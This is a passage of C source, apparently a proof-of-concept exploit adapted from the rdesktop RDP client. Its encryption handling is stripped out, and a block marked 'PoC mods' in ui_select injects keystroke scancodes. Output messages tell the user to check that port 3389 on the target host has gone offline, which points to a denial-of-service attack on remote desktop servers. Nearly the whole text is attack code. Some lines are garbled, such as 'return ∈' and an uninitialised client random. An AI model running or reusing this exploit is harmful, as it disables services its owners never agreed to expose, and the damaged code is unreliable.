rdp_send_data(s, RDP_DATA_PDU_FONT2);
|
|
}
|
|
|
|
/* Output general capability set */
|
|
static void
|
|
rdp_out_general_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_GENERAL);
|
|
out_uint16_le(s, RDP_CAPLEN_GENERAL);
|
|
|
|
out_uint16_le(s, 1); /* OS major type */
|
|
out_uint16_le(s, 3); /* OS minor type */
|
|
out_uint16_le(s, 0x200); /* Protocol version */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16(s, 0); /* Compression types */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16(s, 0); /* Update capability */
|
|
out_uint16(s, 0); /* Remote unshare capability */
|
|
out_uint16(s, 0); /* Compression level */
|
|
out_uint16(s, 0); /* Pad */
|
|
}
|
|
|
|
/* Output bitmap capability set */
|
|
static void
|
|
rdp_out_bitmap_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_BITMAP);
|
|
out_uint16_le(s, RDP_CAPLEN_BITMAP);
|
|
|
|
out_uint16_le(s, 8); /* Preferred BPP */
|
|
out_uint16_le(s, 1); /* Receive 1 BPP */
|
|
out_uint16_le(s, 1); /* Receive 4 BPP */
|
|
out_uint16_le(s, 1); /* Receive 8 BPP */
|
|
out_uint16_le(s, 800); /* Desktop width */
|
|
out_uint16_le(s, 600); /* Desktop height */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16(s, 0); /* Allow resize */
|
|
out_uint16_le(s, bitmap_compression ? 1 : 0); /* Support compression */
|
|
out_uint16(s, 0); /* Unknown */
|
|
out_uint16_le(s, 1); /* Unknown */
|
|
out_uint16(s, 0); /* Pad */
|
|
}
|
|
|
|
/* Output order capability set */
|
|
static void
|
|
rdp_out_order_caps(STREAM s)
|
|
{
|
|
uint8 order_caps[32];
|
|
|
|
|
|
memset(order_caps, 0, 32);
|
|
order_caps[0] = 1; /* dest blt */
|
|
order_caps[1] = 1; /* pat blt */
|
|
order_caps[2] = 1; /* screen blt */
|
|
order_caps[3] = 1; /* required for memblt? */
|
|
order_caps[8] = 1; /* line */
|
|
order_caps[9] = 1; /* line */
|
|
order_caps[10] = 1; /* rect */
|
|
order_caps[11] = (desktop_save == False ? 0 : 1); /* desksave */
|
|
order_caps[13] = 1; /* memblt */
|
|
order_caps[14] = 1; /* triblt */
|
|
order_caps[22] = 1; /* polyline */
|
|
order_caps[27] = 1; /* text2 */
|
|
out_uint16_le(s, RDP_CAPSET_ORDER);
|
|
out_uint16_le(s, RDP_CAPLEN_ORDER);
|
|
|
|
out_uint8s(s, 20); /* Terminal desc, pad */
|
|
out_uint16_le(s, 1); /* Cache X granularity */
|
|
out_uint16_le(s, 20); /* Cache Y granularity */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16_le(s, 1); /* Max order level */
|
|
out_uint16_le(s, 0x147); /* Number of fonts */
|
|
out_uint16_le(s, 0x2a); /* Capability flags */
|
|
out_uint8p(s, order_caps, 32); /* Orders supported */
|
|
out_uint16_le(s, 0x6a1); /* Text capability flags */
|
|
out_uint8s(s, 6); /* Pad */
|
|
out_uint32_le(s, desktop_save == False ? 0 : 0x38400); /* Desktop cache size */
|
|
out_uint32(s, 0); /* Unknown */
|
|
out_uint32_le(s, 0x4e4); /* Unknown */
|
|
}
|
|
|
|
/* Output bitmap cache capability set */
|
|
static void
|
|
rdp_out_bmpcache_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_BMPCACHE);
|
|
out_uint16_le(s, RDP_CAPLEN_BMPCACHE);
|
|
|
|
out_uint8s(s, 24); /* unused */
|
|
out_uint16_le(s, 0x258); /* entries */
|
|
out_uint16_le(s, 0x100); /* max cell size */
|
|
out_uint16_le(s, 0x12c); /* entries */
|
|
out_uint16_le(s, 0x400); /* max cell size */
|
|
out_uint16_le(s, 0x106); /* entries */
|
|
out_uint16_le(s, 0x1000); /* max cell size */
|
|
}
|
|
|
|
/* Output control capability set */
|
|
static void
|
|
rdp_out_control_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_CONTROL);
|
|
out_uint16_le(s, RDP_CAPLEN_CONTROL);
|
|
|
|
out_uint16(s, 0); /* Control capabilities */
|
|
out_uint16(s, 0); /* Remote detach */
|
|
out_uint16_le(s, 2); /* Control interest */
|
|
out_uint16_le(s, 2); /* Detach interest */
|
|
}
|
|
|
|
/* Output activation capability set */
|
|
static void
|
|
rdp_out_activate_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_ACTIVATE);
|
|
out_uint16_le(s, RDP_CAPLEN_ACTIVATE);
|
|
|
|
out_uint16(s, 0); /* Help key */
|
|
out_uint16(s, 0); /* Help index key */
|
|
out_uint16(s, 0); /* Extended help key */
|
|
out_uint16(s, 0); /* Window activate */
|
|
}
|
|
|
|
/* Output pointer capability set */
|
|
static void
|
|
rdp_out_pointer_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_POINTER);
|
|
out_uint16_le(s, RDP_CAPLEN_POINTER);
|
|
|
|
out_uint16(s, 0); /* Colour pointer */
|
|
out_uint16_le(s, 20); /* Cache size */
|
|
}
|
|
|
|
/* Output share capability set */
|
|
static void
|
|
rdp_out_share_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_SHARE);
|
|
out_uint16_le(s, RDP_CAPLEN_SHARE);
|
|
|
|
out_uint16(s, 0); /* userid */
|
|
out_uint16(s, 0); /* pad */
|
|
}
|
|
|
|
/* Output colour cache capability set */
|
|
static void
|
|
rdp_out_colcache_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_COLCACHE);
|
|
out_uint16_le(s, RDP_CAPLEN_COLCACHE);
|
|
|
|
out_uint16_le(s, 6); /* cache size */
|
|
out_uint16(s, 0); /* pad */
|
|
}
|
|
|
|
static uint8 canned_caps[] = {
|
|
0x01, 0x00, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, 0x04,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x0C, 0x00, 0x08, 0x00, 0x01,
|
|
0x00, 0x00, 0x00, 0x0E, 0x00, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00,
|
|
0x10, 0x00, 0x34, 0x00, 0xFE,
|
|
0x00, 0x04, 0x00, 0xFE, 0x00, 0x04, 0x00, 0xFE, 0x00, 0x08, 0x00,
|
|
0xFE, 0x00, 0x08, 0x00, 0xFE,
|
|
0x00, 0x10, 0x00, 0xFE, 0x00, 0x20, 0x00, 0xFE, 0x00, 0x40, 0x00,
|
|
0xFE, 0x00, 0x80, 0x00, 0xFE,
|
|
0x00, 0x00, 0x01, 0x40, 0x00, 0x00, 0x08, 0x00, 0x01, 0x00, 0x01,
|
|
0x02, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
/* Output unknown capability set */
|
|
static void
|
|
rdp_out_unknown_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_UNKNOWN);
|
|
out_uint16_le(s, 0x58);
|
|
|
|
out_uint8p(s, canned_caps, RDP_CAPLEN_UNKNOWN - 4);
|
|
}
|
|
|
|
/* Send a confirm active PDU */
|
|
static void
|
|
rdp_send_confirm_active(void)
|
|
{
|
|
STREAM s;
|
|
uint16 caplen =
|
|
RDP_CAPLEN_GENERAL + RDP_CAPLEN_BITMAP + RDP_CAPLEN_ORDER +
|
|
RDP_CAPLEN_BMPCACHE + RDP_CAPLEN_COLCACHE +
|
|
RDP_CAPLEN_ACTIVATE + RDP_CAPLEN_CONTROL +
|
|
RDP_CAPLEN_POINTER + RDP_CAPLEN_SHARE + RDP_CAPLEN_UNKNOWN + 4 /* w2k fix, why? */ ;
|
|
|
|
s = rdp_init(14 + caplen + sizeof(RDP_SOURCE));
|
|
|
|
out_uint32_le(s, rdp_shareid);
|
|
out_uint16_le(s, 0x3ea); /* userid */
|
|
out_uint16_le(s, sizeof(RDP_SOURCE));
|
|
out_uint16_le(s, caplen);
|
|
|
|
out_uint8p(s, RDP_SOURCE, sizeof(RDP_SOURCE));
|
|
out_uint16_le(s, 0xd); /* num_caps */
|
|
out_uint8s(s, 2); /* pad */
|
|
|
|
rdp_out_general_caps(s);
|
|
rdp_out_bitmap_caps(s);
|
|
rdp_out_order_caps(s);
|
|
rdp_out_bmpcache_caps(s);
|
|
rdp_out_colcache_caps(s);
|
|
rdp_out_activate_caps(s);
|
|
rdp_out_control_caps(s);
|
|
rdp_out_pointer_caps(s);
|
|
rdp_out_share_caps(s);
|
|
rdp_out_unknown_caps(s);
|
|
|
|
s_mark_end(s);
|
|
rdp_send(s, RDP_PDU_CONFIRM_ACTIVE);
|
|
}
|
|
|
|
|
|
|
|
/* Process incoming packets */
|
|
void
|
|
rdp_main_loop(void)
|
|
{
|
|
uint8 type;
|
|
STREAM s;
|
|
|
|
while ((s = rdp_recv(&type)) != NULL)
|
|
{
|
|
switch (type)
|
|
{
|
|
case RDP_PDU_DEMAND_ACTIVE:
|
|
process_demand_active(s);
|
|
break;
|
|
|
|
case RDP_PDU_DEACTIVATE:
|
|
break;
|
|
|
|
case RDP_PDU_DATA:
|
|
process_data_pdu(s);
|
|
break;
|
|
case 0:
|
|
break;
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
/* Establish a connection up to the RDP layer */
|
|
BOOL
|
|
rdp_connect(char *server, uint32 flags, char *domain, char *password,
|
|
char *command, char *directory)
|
|
{
|
|
if (!sec_connect(server))
|
|
return False;
|
|
|
|
rdp_send_logon_info(flags, domain, username, password, command, directory);
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect from the RDP layer */
|
|
void
|
|
rdp_disconnect(void)
|
|
{
|
|
sec_disconnect();
|
|
}
|
|
|
|
|
|
|
|
/* Reset order state */
|
|
void
|
|
reset_order_state(void)
|
|
{
|
|
memset(&order_state, 0, sizeof(order_state));
|
|
order_state.order_type = RDP_ORDER_PATBLT;
|
|
}
|
|
|
|
|
|
static void
|
|
reverse(uint8 * p, int len)
|
|
{
|
|
int i, j;
|
|
uint8 temp;
|
|
|
|
for (i = 0, j = len - 1; i < j; i++, j--)
|
|
{
|
|
temp = p[i];
|
|
p[i] = p[j];
|
|
p[j] = temp;
|
|
}
|
|
}
|
|
|
|
|
|
/*
|
|
* General purpose 48-byte transformation, using two 32-byte salts (generally,
|
|
* a client and server salt) and a global salt value used for padding.
|
|
* Both SHA1 and MD5 algorithms are used.
|
|
*/
|
|
void
|
|
sec_hash_48(uint8 * out, uint8 * in, uint8 * salt1, uint8 * salt2, uint8 salt)
|
|
{
|
|
uint8 shasig[20];
|
|
uint8 pad[4];
|
|
SHA_CTX sha;
|
|
MD5_CTX md5;
|
|
int i;
|
|
|
|
for (i = 0; i < 3; i++)
|
|
{
|
|
memset(pad, salt + i, i + 1);
|
|
|
|
SHA1_Init(&sha);
|
|
SHA1_Update(&sha, pad, i + 1);
|
|
SHA1_Update(&sha, in, 48);
|
|
SHA1_Update(&sha, salt1, 32);
|
|
SHA1_Update(&sha, salt2, 32);
|
|
SHA1_Final(shasig, &sha);
|
|
|
|
MD5_Init(&md5);
|
|
MD5_Update(&md5, in, 48);
|
|
MD5_Update(&md5, shasig, 20);
|
|
MD5_Final(&out[i * 16], &md5);
|
|
}
|
|
}
|
|
|
|
/*
|
|
* Weaker 16-byte transformation, also using two 32-byte salts, but
|
|
* only using a single round of MD5.
|
|
*/
|
|
void
|
|
sec_hash_16(uint8 * out, uint8 * in, uint8 * salt1, uint8 * salt2)
|
|
{
|
|
MD5_CTX md5;
|
|
|
|
MD5_Init(&md5);
|
|
MD5_Update(&md5, in, 16);
|
|
MD5_Update(&md5, salt1, 32);
|
|
MD5_Update(&md5, salt2, 32);
|
|
MD5_Final(out, &md5);
|
|
}
|
|
|
|
/* Reduce key entropy from 64 to 40 bits */
|
|
static void
|
|
sec_make_40bit(uint8 * key)
|
|
{
|
|
key[0] = 0xd1;
|
|
key[1] = 0x26;
|
|
key[2] = 0x9e;
|
|
}
|
|
|
|
/* Generate a session key and RC4 keys, given client and server randoms */
|
|
static void
|
|
sec_generate_keys(uint8 * client_key, uint8 * server_key, int rc4_key_size)
|
|
{
|
|
uint8 session_key[48];
|
|
uint8 temp_hash[48];
|
|
uint8 input[48];
|
|
|
|
/* Construct input data to hash */
|
|
memcpy(input, client_key, 24);
|
|
memcpy(input + 24, server_key, 24);
|
|
|
|
/* Generate session key - two rounds of sec_hash_48 */
|
|
sec_hash_48(temp_hash, input, client_key, server_key, 65);
|
|
sec_hash_48(session_key, temp_hash, client_key, server_key, 88);
|
|
|
|
/* Store first 16 bytes of session key, for generating signatures */
|
|
memcpy(sec_sign_key, session_key, 16);
|
|
|
|
/* Generate RC4 keys */
|
|
sec_hash_16(sec_decrypt_key, &session_key[16], client_key, server_key);
|
|
sec_hash_16(sec_encrypt_key, &session_key[32], client_key, server_key);
|
|
|
|
if (rc4_key_size == 1)
|
|
{
|
|
|
|
sec_make_40bit(sec_sign_key);
|
|
sec_make_40bit(sec_decrypt_key);
|
|
sec_make_40bit(sec_encrypt_key);
|
|
rc4_key_len = 8;
|
|
}
|
|
else
|
|
{
|
|
|
|
rc4_key_len = 16;
|
|
}
|
|
|
|
/* Save initial RC4 keys as update keys */
|
|
memcpy(sec_decrypt_update_key, sec_decrypt_key, 16);
|
|
memcpy(sec_encrypt_update_key, sec_encrypt_key, 16);
|
|
|
|
/* Initialise RC4 state arrays */
|
|
RC4_set_key(&rc4_decrypt_key, rc4_key_len, sec_decrypt_key);
|
|
RC4_set_key(&rc4_encrypt_key, rc4_key_len, sec_encrypt_key);
|
|
}
|
|
|
|
static uint8 pad_54[40] = {
|
|
54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54,
|
|
54, 54, 54,
|
|
54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54,
|
|
54, 54, 54
|
|
};
|
|
|
|
static uint8 pad_92[48] = {
|
|
92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92,
|
|
92, 92, 92, 92, 92, 92, 92,
|
|
92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92,
|
|
92, 92, 92, 92, 92, 92, 92
|
|
};
|
|
|
|
|
|
/* Transmit secure transport packet */
|
|
void
|
|
sec_send(STREAM s, uint32 flags)
|
|
{
|
|
int datalen;
|
|
|
|
s_pop_layer(s, sec_hdr);
|
|
if (!licence_issued || (flags & SEC_ENCRYPT))
|
|
out_uint32_le(s, flags);
|
|
|
|
if (flags & SEC_ENCRYPT)
|
|
{
|
|
flags &= ~SEC_ENCRYPT;
|
|
datalen = s->end - s->p - 8;
|
|
|
|
#if WITH_DEBUG
|
|
DEBUG(("Sending encrypted packet:\n"));
|
|
hexdump(s->p + 8, datalen);
|
|
#endif
|
|
|
|
|
|
}
|
|
|
|
mcs_send(s);
|
|
}
|
|
|
|
|
|
/* Perform an RSA public key encryption operation */
|
|
static void
|
|
sec_rsa_encrypt(uint8 * out, uint8 * in, int len, uint8 * modulus, uint8 * exponent)
|
|
{
|
|
BN_CTX *ctx;
|
|
BIGNUM mod, exp, x, y;
|
|
uint8 inr[SEC_MODULUS_SIZE];
|
|
int outlen;
|
|
|
|
reverse(modulus, SEC_MODULUS_SIZE);
|
|
reverse(exponent, SEC_EXPONENT_SIZE);
|
|
memcpy(inr, in, len);
|
|
reverse(inr, len);
|
|
|
|
ctx = BN_CTX_new();
|
|
BN_init(&mod);
|
|
BN_init(&exp);
|
|
BN_init(&x);
|
|
BN_init(&y);
|
|
|
|
BN_bin2bn(modulus, SEC_MODULUS_SIZE, &mod);
|
|
BN_bin2bn(exponent, SEC_EXPONENT_SIZE, &exp);
|
|
BN_bin2bn(inr, len, &x);
|
|
BN_mod_exp(&y, &x, &exp, &mod, ctx);
|
|
outlen = BN_bn2bin(&y, out);
|
|
reverse(out, outlen);
|
|
if (outlen < SEC_MODULUS_SIZE)
|
|
memset(out + outlen, 0, SEC_MODULUS_SIZE - outlen);
|
|
|
|
BN_free(&y);
|
|
BN_clear_free(&x);
|
|
BN_free(&exp);
|
|
BN_free(&mod);
|
|
BN_CTX_free(ctx);
|
|
}
|
|
|
|
/* Initialise secure transport packet */
|
|
STREAM
|
|
sec_init(uint32 flags, int maxlen)
|
|
{
|
|
int hdrlen;
|
|
STREAM s;
|
|
|
|
if (!licence_issued)
|
|
hdrlen = (flags & SEC_ENCRYPT) ? 12 : 4;
|
|
else
|
|
hdrlen = (flags & SEC_ENCRYPT) ? 12 : 0;
|
|
s = mcs_init(maxlen + hdrlen);
|
|
s_push_layer(s, sec_hdr, hdrlen);
|
|
|
|
return s;
|
|
}
|
|
|
|
|
|
|
|
|
|
/* Output connect initial data blob */
|
|
static void
|
|
sec_out_mcs_data(STREAM s)
|
|
{
|
|
int hostlen = 2 * strlen(hostname);
|
|
|
|
if (hostlen > 30)
|
|
hostlen = 30;
|
|
|
|
out_uint16_be(s, 5); /* unknown */
|
|
out_uint16_be(s, 0x14);
|
|
out_uint8(s, 0x7c);
|
|
out_uint16_be(s, 1);
|
|
|
|
out_uint16_be(s, (158 | 0x8000)); /* remaining length */
|
|
|
|
out_uint16_be(s, 8); /* length? */
|
|
out_uint16_be(s, 16);
|
|
out_uint8(s, 0);
|
|
out_uint16_le(s, 0xc001);
|
|
out_uint8(s, 0);
|
|
|
|
out_uint32_le(s, 0x61637544); /* "Duca" ?! */
|
|
out_uint16_be(s, (144 | 0x8000)); /* remaining length */
|
|
|
|
/* Client information */
|
|
out_uint16_le(s, SEC_TAG_CLI_INFO);
|
|
out_uint16_le(s, 136); /* length */
|
|
out_uint16_le(s, 1);
|
|
out_uint16_le(s, 8);
|
|
out_uint16_le(s, width);
|
|
out_uint16_le(s, height);
|
|
out_uint16_le(s, 0xca01);
|
|
out_uint16_le(s, 0xaa03);
|
|
out_uint32_le(s, keylayout);
|
|
out_uint32_le(s, 419); /* client build? we are 419 compatible :-) */
|
|
|
|
/* Unicode name of client, padded to 32 bytes */
|
|
rdp_out_unistr(s, hostname, hostlen);
|
|
out_uint8s(s, 30 - hostlen);
|
|
|
|
out_uint32_le(s, 4);
|
|
out_uint32(s, 0);
|
|
out_uint32_le(s, 12);
|
|
out_uint8s(s, 64); /* reserved? 4 + 12 doublewords */
|
|
|
|
out_uint16_le(s, 0xca01);
|
|
out_uint16(s, 0);
|
|
|
|
/* Client encryption settings */
|
|
out_uint16_le(s, SEC_TAG_CLI_CRYPT);
|
|
out_uint16_le(s, 8); /* length */
|
|
out_uint32_le(s, encryption ? 0x3 : 0); /* encryption supported, 128-bit supported */
|
|
s_mark_end(s);
|
|
}
|
|
|
|
/* Parse a public key structure */
|
|
static BOOL
|
|
sec_parse_public_key(STREAM s, uint8 ** modulus, uint8 ** exponent)
|
|
{
|
|
uint32 magic, modulus_len;
|
|
|
|
in_uint32_le(s, magic);
|
|
if (magic != SEC_RSA_MAGIC)
|
|
{
|
|
error("RSA magic 0x%x\n", magic);
|
|
return False;
|
|
}
|
|
|
|
in_uint32_le(s, modulus_len);
|
|
if (modulus_len != SEC_MODULUS_SIZE + SEC_PADDING_SIZE)
|
|
{
|
|
error("modulus len 0x%x\n", modulus_len);
|
|
return False;
|
|
}
|
|
|
|
in_uint8s(s, 8); /* modulus_bits, unknown */
|
|
in_uint8p(s, *exponent, SEC_EXPONENT_SIZE);
|
|
in_uint8p(s, *modulus, SEC_MODULUS_SIZE);
|
|
in_uint8s(s, SEC_PADDING_SIZE);
|
|
|
|
return s_check(s);
|
|
}
|
|
|
|
/* Parse a crypto information structure */
|
|
static BOOL
|
|
sec_parse_crypt_info(STREAM s, uint32 * rc4_key_size,
|
|
uint8 ** server_random, uint8 ** modulus, uint8 ** exponent)
|
|
{
|
|
uint32 crypt_level, random_len, rsa_info_len;
|
|
uint16 tag, length;
|
|
uint8 *next_tag, *end;
|
|
|
|
in_uint32_le(s, *rc4_key_size); /* 1 = 40-bit, 2 = 128-bit */
|
|
in_uint32_le(s, crypt_level); /* 1 = low, 2 = medium, 3 = high */
|
|
if (crypt_level == 0) /* no encryptation */
|
|
return False;
|
|
in_uint32_le(s, random_len);
|
|
in_uint32_le(s, rsa_info_len);
|
|
|
|
if (random_len != SEC_RANDOM_SIZE)
|
|
{
|
|
error("random len %d\n", random_len);
|
|
return False;
|
|
}
|
|
|
|
in_uint8p(s, *server_random, random_len);
|
|
|
|
/* RSA info */
|
|
end = s->p + rsa_info_len;
|
|
if (end > s->end)
|
|
return False;
|
|
|
|
in_uint8s(s, 12); /* unknown */
|
|
|
|
while (s->p < end)
|
|
{
|
|
in_uint16_le(s, tag);
|
|
in_uint16_le(s, length);
|
|
|
|
next_tag = s->p + length;
|
|
|
|
switch (tag)
|
|
{
|
|
case SEC_TAG_PUBKEY:
|
|
if (!sec_parse_public_key(s, modulus, exponent))
|
|
return False;
|
|
|
|
break;
|
|
|
|
case SEC_TAG_KEYSIG:
|
|
/* Is this a Microsoft key that we just got? */
|
|
/* Care factor: zero! */
|
|
break;
|
|
}
|
|
|
|
s->p = next_tag;
|
|
}
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
/* Process crypto information blob */
|
|
static void
|
|
sec_process_crypt_info(STREAM s)
|
|
{
|
|
uint8 *server_random, *modulus, *exponent;
|
|
uint8 client_random[SEC_RANDOM_SIZE];
|
|
uint32 rc4_key_size;
|
|
|
|
if (!sec_parse_crypt_info(s, &rc4_key_size, &server_random, &modulus, &exponent))
|
|
return;
|
|
|
|
/* Generate a client random, and hence determine encryption keys */
|
|
sec_rsa_encrypt(sec_crypted_random, client_random, SEC_RANDOM_SIZE, modulus, exponent);
|
|
sec_generate_keys(client_random, server_random, rc4_key_size);
|
|
}
|
|
|
|
/* Process connect response data blob */
|
|
static void
|
|
sec_process_mcs_data(STREAM s)
|
|
{
|
|
uint16 tag, length;
|
|
uint8 *next_tag;
|
|
uint8 len;
|
|
|
|
in_uint8s(s, 21); /* header */
|
|
in_uint8(s, len);
|
|
if (len & 0x80)
|
|
in_uint8(s, len);
|
|
|
|
while (s->p < s->end)
|
|
{
|
|
in_uint16_le(s, tag);
|
|
in_uint16_le(s, length);
|
|
|
|
if (length <= 4)
|
|
return;
|
|
|
|
next_tag = s->p + length - 4;
|
|
|
|
switch (tag)
|
|
{
|
|
case SEC_TAG_SRV_INFO:
|
|
case SEC_TAG_SRV_3:
|
|
break;
|
|
|
|
case SEC_TAG_SRV_CRYPT:
|
|
sec_process_crypt_info(s);
|
|
break;
|
|
}
|
|
|
|
s->p = next_tag;
|
|
}
|
|
}
|
|
|
|
/* Receive secure transport packet */
|
|
STREAM
|
|
sec_recv(void)
|
|
{
|
|
uint32 sec_flags;
|
|
STREAM s;
|
|
|
|
while ((s = mcs_recv()) != NULL)
|
|
{
|
|
if (encryption || !licence_issued)
|
|
{
|
|
in_uint32_le(s, sec_flags);
|
|
|
|
if (sec_flags & SEC_LICENCE_NEG)
|
|
{
|
|
licence_process(s);
|
|
continue;
|
|
}
|
|
|
|
if (sec_flags & SEC_ENCRYPT)
|
|
{
|
|
in_uint8s(s, 8); /* signature */
|
|
|
|
}
|
|
}
|
|
|
|
return s;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
/* Establish a secure connection */
|
|
BOOL
|
|
sec_connect(char *server)
|
|
{
|
|
struct stream mcs_data;
|
|
|
|
/* We exchange some RDP data during the MCS-Connect */
|
|
mcs_data.size = 512;
|
|
mcs_data.p = mcs_data.data = xmalloc(mcs_data.size);
|
|
sec_out_mcs_data(&mcs_data);
|
|
|
|
if (!mcs_connect(server, &mcs_data))
|
|
return False;
|
|
|
|
sec_process_mcs_data(&mcs_data);
|
|
|
|
xfree(mcs_data.data);
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect a connection */
|
|
void
|
|
sec_disconnect(void)
|
|
{
|
|
mcs_disconnect();
|
|
}
|
|
|
|
|
|
/* Initialise TCP transport data packet */
|
|
STREAM
|
|
tcp_init(int maxlen)
|
|
{
|
|
if (maxlen > out.size)
|
|
{
|
|
out.size = maxlen;
|
|
}
|
|
|
|
out.p = out.data;
|
|
out.end = out.data + out.size;
|
|
return &out;
|
|
}
|
|
|
|
/* Send TCP transport data packet */
|
|
void
|
|
tcp_send(STREAM s)
|
|
{
|
|
int length = s->end - s->data;
|
|
int sent, total = 0;
|
|
|
|
while (total < length)
|
|
{
|
|
sent = send(sock, s->data + total, length - total, 0);
|
|
if (sent <= 0)
|
|
{
|
|
fprintf(stderr, "\n[=] Check port 3389 on target host. It should be offline.\n\n");
|
|
return;
|
|
}
|
|
|
|
total += sent;
|
|
}
|
|
}
|
|
|
|
/* Receive a message on the TCP layer */
|
|
STREAM
|
|
tcp_recv(int length)
|
|
{
|
|
int rcvd = 0;
|
|
|
|
if (length > in.size)
|
|
{
|
|
|
|
in.size = length;
|
|
}
|
|
|
|
in.end = in.p = in.data;
|
|
|
|
while (length > 0)
|
|
{
|
|
if (!ui_select(sock))
|
|
/* User quit */
|
|
return NULL;
|
|
|
|
rcvd = recv(sock, in.end, length, 0);
|
|
if (rcvd == -1)
|
|
{
|
|
error("recv: %s", strerror(errno));
|
|
return NULL;
|
|
}
|
|
|
|
in.end += rcvd;
|
|
length -= rcvd;
|
|
}
|
|
|
|
return ∈
|
|
}
|
|
|
|
/* Establish a connection on the TCP layer */
|
|
BOOL
|
|
tcp_connect(char *server)
|
|
{
|
|
struct hostent *nslookup;
|
|
struct sockaddr_in servaddr;
|
|
int true = 1;
|
|
|
|
if ((nslookup = gethostbyname(server)) != NULL)
|
|
{
|
|
memcpy(&servaddr.sin_addr, nslookup->h_addr, sizeof(servaddr.sin_addr));
|
|
}
|
|
else if ((servaddr.sin_addr.s_addr = inet_addr(server)) == INADDR_NONE)
|
|
{
|
|
error("%s: unable to resolve host\n", server);
|
|
return False;
|
|
}
|
|
|
|
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
|
|
{
|
|
error("socket: %s\n", strerror(errno));
|
|
return False;
|
|
}
|
|
|
|
servaddr.sin_family = AF_INET;
|
|
servaddr.sin_port = htons(tcp_port_rdp);
|
|
|
|
if (connect(sock, (struct sockaddr *) &servaddr, sizeof(struct sockaddr)) < 0)
|
|
{
|
|
error("connect: %s\n", strerror(errno));
|
|
close(sock);
|
|
return False;
|
|
}
|
|
|
|
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *) &true, sizeof(true));
|
|
|
|
in.size = 4096;
|
|
in.data = xmalloc(in.size);
|
|
|
|
out.size = 4096;
|
|
out.data = xmalloc(out.size);
|
|
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect on the TCP layer */
|
|
void
|
|
tcp_disconnect(void)
|
|
{
|
|
fprintf(stderr, "\n[=] Done. Check port 3389 on the remote host.\n\n");
|
|
close(sock);
|
|
}
|
|
|
|
|
|
|
|
/* Returns 0 after user quit, 1 otherwise */
|
|
int
|
|
ui_select(int rdp_socket)
|
|
{
|
|
int n = (rdp_socket > x_socket) ? rdp_socket + 1 : x_socket + 1;
|
|
fd_set rfds;
|
|
|
|
|
|
|
|
// Begin PoC mods
|
|
XEvent xevent;
|
|
KeySym keysym;
|
|
uint32 ev_time;
|
|
key_translation tr;
|
|
if (ix-- >= 0)
|
|
{ return 1; }
|
|
ev_time = time(NULL);
|
|
handle_special_keys(keysym, xevent.xkey.state, ev_time, True);
|
|
tr = xkeymap_translate_key(keysym, xevent.xkey.keycode, xevent.xkey.state);
|
|
ensure_remote_modifiers(ev_time, tr);
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, tr.scancode);
|
|
// End PoC mods
|
|
|
|
|
|
|
|
FD_ZERO(&rfds);
|
|
while (True)
|
|
{
|
|
/* Process any events already waiting */
|
|
|
|
// if (!xwin_process_events())
|
|
// /* User quit */
|
|
// return 0;
|
|
|
|
FD_ZERO(&rfds);
|
|
FD_SET(rdp_socket, &rfds);
|
|
FD_SET(x_socket, &rfds);
|
|
|
|
switch (select(n, &rfds, NULL, NULL, NULL))
|
|
{
|
|
case -1:
|
|
error("select: %s\n", strerror(errno));
|
|
|
|
case 0:
|
|
continue;
|
|
}
|
|
|
|
if (FD_ISSET(rdp_socket, &rfds))
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
|
|
key_translation
|
|
xkeymap_translate_key(uint32 keysym, unsigned int keycode, unsigned int state)
|
|
{
|
|
key_translation tr = { 0, 0 };
|
|
|
|
tr = keymap[keysym & KEYMAP_MASK];
|
|
|
|
if (tr.modifiers & MapInhibitMask)
|
|
{
|
|
|
|
tr.scancode = 0;
|
|
return tr;
|
|
}
|
|
|
|
if (tr.modifiers & MapLocalStateMask)
|
|
{
|
|
/* The modifiers to send for this key should be obtained
|
|
from the local state. Currently, only shift is implemented. */
|
|
if (state & ShiftMask)
|
|
{
|
|
